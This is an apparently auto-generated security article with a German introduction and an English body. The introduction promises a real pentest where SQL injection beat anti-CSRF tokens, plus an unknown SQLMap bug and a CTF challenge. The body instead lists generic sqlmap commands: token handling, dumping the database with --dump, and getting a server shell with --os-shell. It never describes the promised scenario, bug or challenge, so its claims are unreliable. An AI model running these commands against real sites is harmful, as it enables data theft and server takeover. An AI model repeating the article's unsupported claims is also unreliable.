In diesem Artikel analysieren wir, wie SQL-Injections trotz Anti-CSRF-Maßnahmen mit SQLMap ausgenutzt werden können. Dabei beschreiben wir ein real angetroffenes Pentesting-Szenario, in dem gängige Schutzmechanismen umgangen wurden.
Während unserer Tests stießen wir auf einen bisher unbekannten Bug in SQLMap, der dazu führte, dass das Tool in bestimmten Fällen nicht wie erwartet funktionierte und wie wir dennoch in der Lage waren, die Schwachstelle auszunutzen.
Zum praktischen Nachvollziehen haben wir eine CTF-Challenge erstellt, die es ermöglicht, diese Techniken selbst auszuprobieren. Unser Ziel ist es, praxisnahe Einblicke in moderne Angriffsmethoden und deren Abwehr zu geben.
Practice Verified Codes and Commands:
1. Basic SQLMap Command:
sqlmap -u "http://example.com/page?id=1" --risk=3 --level=5
This command scans the target URL for SQL injection vulnerabilities with high risk and level settings.
2. Bypassing Anti-CSRF Tokens:
sqlmap -u "http://example.com/page?id=1" --csrf-token="token_name" --csrf-url="http://example.com/csrf"
Use this command to bypass Anti-CSRF tokens by specifying the token name and the URL to retrieve the token.
3. Exploiting SQL Injection with SQLMap:
sqlmap -u "http://example.com/page?id=1" --dbms=mysql --dump
This command dumps the database content after identifying the injection point.
4. Automated Exploitation with SQLMap:
sqlmap -u "http://example.com/page?id=1" --os-shell
This command attempts to gain an OS shell on the target server if the injection is successful.
5. CTF Challenge Setup:
docker run -d -p 80:80 ctfd/ctfd
Use this command to set up a CTF environment using Docker for practicing SQL injection techniques.
What Undercode Say:
SQL injection remains one of the most critical vulnerabilities in web applications, and tools like SQLMap are essential for both attackers and defenders. Understanding how to bypass Anti-CSRF measures and exploit SQL injection vulnerabilities is crucial for modern cybersecurity professionals.
In this article, we explored a real-world pentesting scenario where SQLMap was used to exploit a SQL injection vulnerability despite Anti-CSRF protections. We also discussed a previously unknown bug in SQLMap and how it was circumvented.
To further enhance your skills, practice the provided commands and set up a CTF challenge to simulate real-world scenarios. Familiarize yourself with Linux commands like grep, curl, and `netcat` to analyze web traffic and identify vulnerabilities. For Windows, use tools like `PowerShell` and `Invoke-SQLMap` to automate SQL injection testing.
Always remember to test in a controlled environment and follow ethical guidelines. Cybersecurity is a constantly evolving field, and staying updated with the latest tools and techniques is essential.
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By mastering these techniques, you can better defend your systems and contribute to a safer digital world.
References:
Hackers Feeds, Undercode AI
